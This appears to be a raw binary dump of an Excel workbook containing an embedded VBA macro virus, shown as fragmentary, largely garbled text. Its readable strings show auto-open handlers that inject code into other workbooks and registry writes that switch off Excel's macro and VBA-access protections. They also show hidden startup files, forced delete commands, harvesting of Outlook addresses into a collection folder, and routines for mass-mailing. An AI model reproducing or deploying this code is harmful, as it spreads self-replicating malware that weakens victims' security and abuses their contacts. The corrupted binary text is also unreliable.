CreateFolder飆`Replacef`AddVbsFile_clear透`AddVbsFile_search鵂` WindowState|頯 xlMaximizedZp`Run_衊vbHide篧` Address_listQ檂get_ten_address``mail_sub`RestoreBeforeSendq+`c4竆`ChDrive% FileExists`Massive_SendMail魝`vbCrLf` Email_Address荑`SubjectRP`Bodyl鴃 CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem苸` olMailItem款`CC荺` Attachments_鈆DeleteAfterSubmit赴`continue` SendEmailě`display`SendKeysN`Wait`objs喗` GetObjectz胉 InstancesOfr輅obj懡` Description ` RadomNine抵`lengthY腵jj裖`kb`RndR蟕md`singleAddress_arr `krr叒`Split)`FullPath+`FileTextg|` OpenTextFileШ`ReadAll繳`FragMark)O`pathf; `aa{\`i_rowz,`i_colx躟Delete竫`xlSheetVisible`Cells峘FontU`Bold凒` ColorIndex魚`del_shtv`rngU蟕del_fragy繾_Defaultj耟xx錩` Workbook_open涐`xx_workbookOpenPZ` References` AddFromGuidA{`GUID鮜Major'`Minor鵤` Worksheet窿`_B_str_Environ籬` _B_var_UCasea蝋 _B_var_Time$` _B_var_TrimmT`_B_var_Environ/` _B_var_Mid韕`# Z"绤T飴笻I縨M8伩M]畦!逍VF嚊駜;蛵x|霳尭}稴;X樀櫼!'M烍J3#bx孑 ACη ~績糆 Excel+` VBA麾`Win16羱`Win32`Mac巢`VBA6#`工程1p` stdole揱` VBAProject究` Officeu` ThisWorkbook|鉦 _Evaluate賎 Sheet1` Sheet2` Sheet3` VBIDEA`模塊1芻` ToDOLE艥` auto_openV ` Application*` DisplayAlerts赧`Path2` StartupPathi鬬ScreenUpdatiisual Basic for Applic俛s Extensibilpity +B弿B奣hisWorkbookG T缷isWA缽rkboU 2 HB1B,B,!pY*"B+BB睸h爀et1GS@#俥@巘1H&2NU2222R圁 3 35 3 3 )h敱 ToD@u T9郉OL繷)' c欙)l !7brU~~~~~~s  Qwb ModuleName  蘟y *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 嚗1R弿ThisWorkbook0@5231a587ThisWorkbookpY Sheet10B5231a587 Sheet1 Sheet20D5231a587 Sheet20 Sheet30F5231a587 Sheet3hH ToDOLE0H5231a591" ToDOLEl`cxH0`绤T飴笻I縨M8伩M]畦!逍VF嚊駜;蛵x|霳尭}稴;X樀櫼!'M烍J3#bx孑 ACη ~績糆 Excel+` VBA麾`Win16羱`Win32`Mac巢`VBA6#`工程1p` stdole揱` VBAProject究` Officeu` ThisWorkbook|鉦 _Evaluate賎 Sheet1` Sheet2` Sheet3` VBIDEA`模塊1芻` ToDOLE艥` auto_openV ` Application*` DisplayAlerts赧`Path2` StartupPathi鬬ScreenUpdating! `delete_this_wk}焋copytoworkbooke燻Sheets ` Movemacro4@阘Save捫`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines姭`VBProj宥`VBComp訙` VBComponent蟮`CodeMod}O` DeleteLines 僠 CountOfLines!\`(do_what凗`RestoreAfterOpen隣`(OpenDoor卄(Microsofthobby 璥 ActionJudgeBG` (copystart `wb卂`Workbookk`VBProj1F穈VBProj2G穈 WorkbooksB靈 (copymodule夠` ModuleName#>` FromVBProject6` ToVBProject捪`OverwriteExistingk郹FNameR鸴CompName!宍Sj`SlashPosk#`ExtPosF薫 TempVBComp`Trim@颼 vbNullString` Protection刞vbext_pp_locked蒱`Erro奰Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem楒`Clear閫`Kill佁`Remove媳`Item讂`ExportΟ`FileNamej胉InStrRev膱`Importi臽vbext_ct_Document 哷Lines何`myfile0[y`MyFile琳`FullName袨` WorkbookOpen徠`ShellV譧vbMinimizedFocus`IsAddin~|` SaveCopyAsT鋊Fso陱`RK1形`RK2鹽`RK3椅`RK4遊`KValue1'竊KValue2(竊VS朹`Veecurity\AccessVBOM *\Excel\Security\Level ZHKEY_LOCAL_MACHINE\Software\Microsoft\Office\ REG_DWORDVBE6.DLL   WScript.Shell RegWrite \k4.xls k4.xlsF comspec $ /c attrib -S -h " \K4.XLS"  /c Del /F /Q "  /c RD /S /Q "   X VK6]瑿剓函7к 10:00:00 11:00:00 14:00:00 15:00:00 XHKEY_CLASSES_ROOT\mailto\shell\open\command\RegRead OUTLOOK.EXE <D:\Collected_Address:frag1.txt 1 n <D:\Collected_Address:frag2.txt 8D:\Collected_Address\log.txt   d 0  P " pzF ToDole竑膜烮粁8< Temp \ .bas .! 囝撱繭賭    岞es鱉CjMd壨o        0 x Px(欞菔荎毿tU/c垞%藺3K縏膚?H)k煛!J潮劺鎖.漺".J*?!碶6V?oa螷.ィjㄞ雵昺LI%{蕆荁eF祌[湊 s翴DJ巑Swn諹x檾蘁L緽咾碚S鵼/Y誆捨顳撓蔀B艸短=壐fV憛z:糐B緘賢芹嗾壝矴ㄛ奰4D- 9KL館@h'WbFpn_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF FFromVBProject ToVBProjectOverwriteExistingstrkeyValue ValueType WorkBookName Email_AddressSubjectBody CC_email_add AttachmentlengthFullPathFragMarkpathf Q ( Q8xx Q H QXivate Sub Workbook_open()ThisWorkbookThisWorkbookSheet1Sheet1SheePROJECTwm}PROJECT)SummaryInformation(DocumentSummaryInformation8揔*yrU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~U H憙⊿O嚘玧.    ) A Y坅 a @ )Qy 1Qi) Y  1 AQi工程1 VBAProject ThisWorkbookSheet1Sheet2Sheet3模塊1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA  10F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel 9@0F 囝撱繭賭C:\WINDOWS\system32\stdole2.tlbstdole  QPL續-鶾藉D轗?C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLLOffice q`WFCC:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLBVBIDE  p auto_opencopytoworkbookdelete_this_wkdo_what copystartF copymoduleMicrosofthobbyOpenDoorWReg Movemacro4 WorkbookOpen ActionJudge search_in_OLCreatCab_SendMailMassive_SendMailif_outlook_open RadomNineget_ten_addressReadOut CreateFileRestoreBeforeSendRestoreAfterOpen FF F發愽邉)G5坥F@釥鶚'5@琁鎒魮CDFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next2bCOοH楋CAkDF Worksheet BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueYP疫W訊H瞗逆镕O痸蔅Se簄QDF Workbook_openxx_workbookOpen H44Visible A1:F15 Range Value CONFIDENTIAL DeleteF皞J.靃"! F\ 禌!葾夿A儷?.%恦E懼L'bB+&h帀] GuUe4醚S鹸斻孍欀瑩 4scRiPTinG.fiLEsysTeMoBjEcT XHKEY_CURRENT_USER\Software\Microsoft\Office\ 4\Excel\St2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{48233E0A-45DF-4D10-87BA-8DEB82BCD0B9}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="4143444C484C484C484C48" DPB="383A3D3E3E3E3E3E" GC="2F2D2AC5D64BCC4CCC4C33"[Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000[Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C 鄥燆鵒h珣+'遲0@HT` x Microsoft Excel@2弘@8>*懲脹諟.摋+,0 PXd lt| ' Sheet1Sheet2Sheet3 工作表 FMicrosoft Office Excel 工作表Biff8Excel.Sheet.89瞦CompObjj